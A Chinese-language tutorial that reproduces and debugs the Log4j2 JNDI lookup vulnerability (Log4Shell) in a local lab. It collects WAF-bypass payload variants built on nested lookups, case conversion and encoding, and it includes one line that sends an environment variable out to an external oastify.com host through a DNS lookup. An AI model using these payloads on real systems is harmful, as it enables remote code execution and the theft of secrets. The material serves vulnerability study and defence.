0x01 初步认识

Log4j2 是 Apache 软件基金会推出的一款高性能、模块化、可扩展的 Java 日志框架。它是经典的 Log4j 1.x 的重大升级版本,在架构设计上进行了彻底的重构,目前在企业级 Java 应用(如 Spring Boot 微服务等)中被广泛使用

简单来说,它是帮助开发人员在程序中记录运行状态、排查问题的核心工具

0x02 基础开发

环境搭建

  • jdk8u65
  • Log4j2 2.14.1
  • CC 3.2.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>compile</scope>
</dependency>

Demo

主要是简单走一遍开发流程,了解一下 log4j2 有什么用

log4j2 的实现方式很多,如 xml,yaml,properties 等,这里用 xml 的方式来实现

log4j2.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>  

<configuration status="info">
<Properties>
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile>
</appenders>
<loggers>
<root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root>
</loggers>
</configuration>

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Test {
public static void main( String[] args )
{
Logger logger = LogManager._getLogger_(LongFunction.class);
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");
}
}

运行效果:

img

实际开发

demo 是我们封装的一个行为,一般日志文件还是需要输出的

比如我从数据库获取到了一个 username 为 “G3ng4r”,我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的

这时候就是我们的实际应用场景,跑一下看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class RealEnv {
public static void main(String[] args) {
Logger logger = LogManager._getLogger_(LongFunction.class);

String username = "G3ng4r";
if (username != null) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}

img

当然实际场景里面肯定不会是判断 null,这里作为基础学习知道开发流程就可以了

0x03 漏洞分析

影响版本

2.x <= log4j <= 2.15.0-rc1

漏洞原理

我们可以看到在 logger.info``("User {} login in!", username); 的这个地方,实际上 username 这个参数是可控的,那么这里我们可以尝试其他输入

我们将 username 修改为 "${java:os}";,再跑一下看看:

img

这里并不是打印出了 “Hello, $java:os”,而是打印出了我们操作系统的一些信息。这里的设计看上去就有非常大的问题,官方文档的意思是这是 log4j2 自带的一个功能

img

其实如果按照官网上面的那几个 api 来看,其实不太严重,最多也就是日志与我们输入对不上而已,并不是会引起大的安全漏洞,真正的问题是,这里的 lookup 实际上是基于 jndi 的,而 jndi 里面我们早在之前说过直接调用 lookup() 是会存在漏洞的

0x04 漏洞复现

在知道漏洞原理的情况下,我们可以直接写 EXP 了,就一句话:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class RealEnv {
public static void main(String[] args) {
Logger logger = LogManager._getLogger_(LongFunction.class);

String username = "${jndi:ldap://localhost:1099/Calc}";
if (username != null) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}

开启 JNDI 服务和目标路径服务后运行:

img

0x05 调试分析

下个断点在 PatternLayout 这个类下的 toSerializable() 方法,进来是一个循环,遍历 formatters 一段一段的拼接输出的内容,不是很重要,传进去两个需要进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer:

img

遍历至 i = 7 的时候进入到了另外的一个 format 处理方法:

img

继续跟进,进入 MessagePatternConverter#format()

img

当我们进到这个 format() 方法里面之后,先判断是否是 Log4j2 的 lookups 功能。这里我们是 lookups 功能,所以可以继续往下走:

img

继续往下走,会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在 ${ ,那么就会取出从 $ 开始知道最后的字符串

img

workingBuilder 的内容结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload

我们看 logs 文件夹也是可以看到的,是一条条读取出来的

img

此时 value 就是我们输入的 payload ${jndi:ldap://127.0.0.1:1099/Calc}

跟进 replace() 方法,replace() 方法里面调用了 substitute() 方法:

img

substitute() 的工作就是 ${} 中间的内容,也就是我们的 payload 取出来,然后又会调用 this.subtitute 来处理

img

再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数:

img

resolver 解析时支持的关键词有 [date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j],而我们这里利用的 jndi:xxx 后续就会用到 JndiLookup 这个解析器

这里我们看到 resolveVariable() 方法里面是调用了 lookup() 方法

img

这个 lookup() 方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 ldap 服务的时候,是调用原生的 lookup() 方法的,是存在漏洞的

img

小结:

  1. 先判断内容中是否有 ${},然后截取 ${} 中的内容,得到我们的恶意 payload jndi:xxx
  2. 后使用 : 分割 payload,通过前缀来判断使用何种解析器去 lookup
  3. 支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,后续我们的绕过可能会用到这些

0x06 WAF 绕过

  • 出发点是基于很多 WAF 检测是否存在 jndi: 等关键词进行判断,下面我们讲一讲绕过手法

根据官方文档中的描述,如果参数未定义,那么 :- 后面的就是默认值,通俗的来说就是默认值

img

分隔符和多个 ${} 绕过

1
logg.info("${${::-J}ndi:ldap://127.0.0.1:1099/Calc}");

大小写绕过

这一点,因为我们之前说允许的字段是这一些
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,其中就有 lower 和 upper

同时也可以利用 lower 和 upper 来进行 bypass 关键字

1
2
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");

特殊字符的大小写转化也能利用上:

ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)

1
logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");

编码绕过

由于这玩意儿测试过程中随便插都行,现在数据传输很多都是 json 形式,所以在 json 中我们也可以进行尝试

像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过

1
2
{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

0x07 payload 总结

  • 原始 payload:
1
"${jndi:ldap://127.0.0.1:1234/ExportObject}";

上面提到的绕过手段:

1
2
3
4
5
6
7
8
9
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};

${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";

${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";

奇淫技巧

刚才分析了其他解析器功效,通过 sysenv 协议,结合 jndi 可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码

1
${jndi:ldap://${env:LOGNAME}.1hj2a0litb8gvybwuy1m16vj8ae02p.oastify.com}

0x08 Log4j2 2.15.0 漏洞修复与绕过

复现难度比较大,看个思路就行,感兴趣的师傅自行移步:

https://drun1baby.top/2022/08/09/Log4j2%E5%A4%8D%E7%8E%B0/#0x07-Log4j2-2-15-0-%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E4%B8%8E%E7%BB%95%E8%BF%87